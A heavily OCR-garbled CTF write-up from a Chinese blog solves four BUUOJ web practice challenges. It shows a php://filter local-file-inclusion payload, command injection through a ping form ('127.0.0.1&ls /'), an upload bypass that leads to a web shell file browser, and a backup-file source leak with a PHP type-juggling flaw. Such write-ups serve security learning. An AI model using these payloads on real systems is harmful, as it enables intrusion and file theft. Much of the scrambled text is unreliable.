ACTFHi A%

oy % L2 F 2021-08-01 06:14:30 KA 105 R
NRER, CTF XEIFL: cff witeup P4 %4 web %4 H4

RRBUE B RSO EJRAISCE, MR CC 4.0 BY AL, HEIEM LR H A EMAE .

A CHEE: https://blog.csdn.net/qq_45924653/article/details/119290000
KA

B CTF &1 RE AR
18 F3C % 0Tk
B &R

include
Exec
Upload
BackupFile

include

Aifitips
< C A %2 | 7f1988cf-98d6-43ff-bf45-440cde24bb01.noded.buuoj.cn/?file=flag.php

B3 $% (9 BEpE ¢ - )D.. B CTF B %2E B 2284 0O 2288 B 22%F B Toos B BE B 3% E

Can you find out the flag?

WM urlFE RS, {EHphp://inputth thist (B2 8 H Fhid g T

& C A TEE | 7f1988cf-98d6-43ff-bf45-440cde24bb01.node4 . buuoj.cn/?file=php://input
B #% () mEmE ¢ - )o.. B CTF B0 %2 O %2 B %23 B R2%F B Tos B HE B i B s O W2

hacker!

Zikphp:/filterth i, payloadi# 17 4wi515 Blphp.flag base64 4w h5 J5 IR 344+
read=convert.base64-encodeiE 1! K L Ebase64 %
payload

php


https://blog.csdn.net/qq_45924653
https://blog.csdn.net/qq_45924653/category_11197036.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by/4.0/
https://blog.csdn.net/qq_45924653/article/details/119290000
https://blog.csdn.net/qq_45924653/category_11197036.html

< C A F%2 | 7f1988cf-98d6-43ff-bf45-440cde24bb01.noded.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
B #% () mEmec - )o. BCF B %2l B Resh D xrese BDR2RE Btos B a8 B xtume B s O W

PD9waHAKZWNobyAiQ2FulHIvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovlL 2ZsYWd7YzU3ZGYyNTQINGExZCOONDQ5LWFhOWEtYzcyYmY4MmlyZmE4fQo=

f#rg 5 flag

ES ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse Adblock Plus HackBar HackTools

Encryption ¥ Encodingv SQL~ XSS~ LFI~v XXE~ Other~

) Load URL http://7f1988¢f-98d6-43ff-bf45-440cde24bb01.node4.buuoj.cn/?file=php://ilter/read=convert.base64-encode/resource=flag.php<?php
: echo "Can you find out the flag?";
% selit URL //flag{c57df254-4a1d-4449-aa9a-c72bf82b2fas)
Executy
») Execule [J Postdata (] Referer (] User Agent (] Cookies Clear All
Exec

ping iy & S A8 iy & AT R

PING

127.0.0.1&ls|

PING

index.php
PING 127.0.0.1 (127.0.0.1): 56 data bytes

find flaghr %5 28 45i% Is T — TR B



PING

127.0.0.18&ls /

PING

bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
Sys
tmp
usr
var

H¥icat flag



PING

BB Epingyitbit

PING

flag{3337642c-8fa5-452a-a356-209fbefd40f3}
PING 127.0.0.1 (127.0.0.1): 56 data bytes

Upload

XM B4R BAE T ANphp/h S R a¥Fjpg png gif



5e1d8eec-3309-40c3-92e5-b5ca317c06bf.node4.buuoj.cn
BEcr B xRl B 22eh B R2¥E B 228F B To

...c-3309-40c3-92e5-b5ca317c06bf.node4.buuocj.cn B

BXHAR VLSS, B LfEjpg. png. oif ERHIERI!

Sl Elements  Console  Source vork  Performan Memory  Application g Adblock Plu Hackl
v <body styl.
v<div class="sitemakers">
v <div class="wrap"
» <svg class="bulb" version="1.1" xmlns="http://www.w3.0rg/2000/svg" xmlns:xlink="http://www.w3.0rg/1999/xlink" x="@px" y="0px" width="128px" height="128px" viewBox="0 @ 128 128" enable-
background="new @ @ 128 128" xml:space:
v <div class="light">
pan class="glo
v <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()
RERET! "
"input_file" type="file" name="upload_file'
button" type="submit" nam submit" value="upload">

boy-music-button" id="boy-music-button">

chrome-extension://oihbfpgdljdmfmhcaffkpldpngaamkkp/images/music32.png">

v <div class="boy-music-info" id="boy-music-info
<div class="boy-music-close" id="boy-music-close"

tps/blog.csdn.neti

XA LA E SRR sR L, Sad e bie T



Elements Console Sources Network Performance Memory Application Security Lighthouse Adblock Plus [gENEET HackTools

top v 0 Filter Default le \/ 1lssue: =1

checkFile(){}

| JOX | hE S
« [ 117.21.200.166 »
D B#®5I% (19) < DXz (21) ~
=[]/ OE ~ LR Z RlFER A FER NBE ~ / > iEEY
+ i var
B HHA K B
= bin
B boot O dev 2021-07-31 21:44:26 340 b 0755
M dev O etc 2021-07-31 21:44:26 66 b 0755
I etc O home 2018-10-20 10:40:06 6b 0755
M home O b 2019-01-22 21:46:40 30b 0755
i lib O libe4 2019-01-22 15:00:00 34 b 0755
I lib64
O media 2019-01-22 15:00:00 6b 0755
I media
O mnt 2019-01-22 15:00:00 6b 0755
I mnt
M opt O opt 2019-01-22 15:00:00 6b 0755
B proc O proc 2021-07-31 21:44:26 0b 0555
= root O root 2019-01-23 00:10:45 6b 0700
= run O run 2019-01-22 21:56:17 21b 0755
B sbin O sbin 2019-01-22 21:56:09 20b 0755
. s O srv 2019-01-22 15:00:00 6b 0755
I sys
O sys 2021-06-14 01:12:31 0b 0555
I tmp
O tmp 2021-07-31 21:53:55 6b 1777
B usr
O usr 2019-01-22 15:00:00 19b 0755
0O var 2019-01-22 21:56:12 17b 0755
[ .dockerenv 2021-07-31 21:44:26 0b 0755
Y flag 2021-07-31 21:44:27 43b 0644
= ESHE &

BackupFile

A3 SO H L 243 S swp back .bak



634ed2b6-233f-464f-b835-c181def59296.node4.buuoj.cn/index.php

B 22E B 2256 B 7%  index.php.bak

Try to find out source file! [ e

[ S e (YT W ——

DA [ ] é\ﬁ

D E -

A mREE R

S . ERL

b X o
OF=a R
— m s

Tl

‘ dl 7 W CTF_practice
I CTF_practice | CTF_Tools

W goby
[8 Macintosh HD_ o0 .

index.php X

Users > clayOx7779 > Downloads > index.php
include_once "flag.php";

if(isset($_GET['key']l)) {
$key = $_GET['key'];
if('is_numeric($key)) {
exit("Just num!");
}
$key intval($key);
$str "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;

}
else {
echo "Try to find out source file!";
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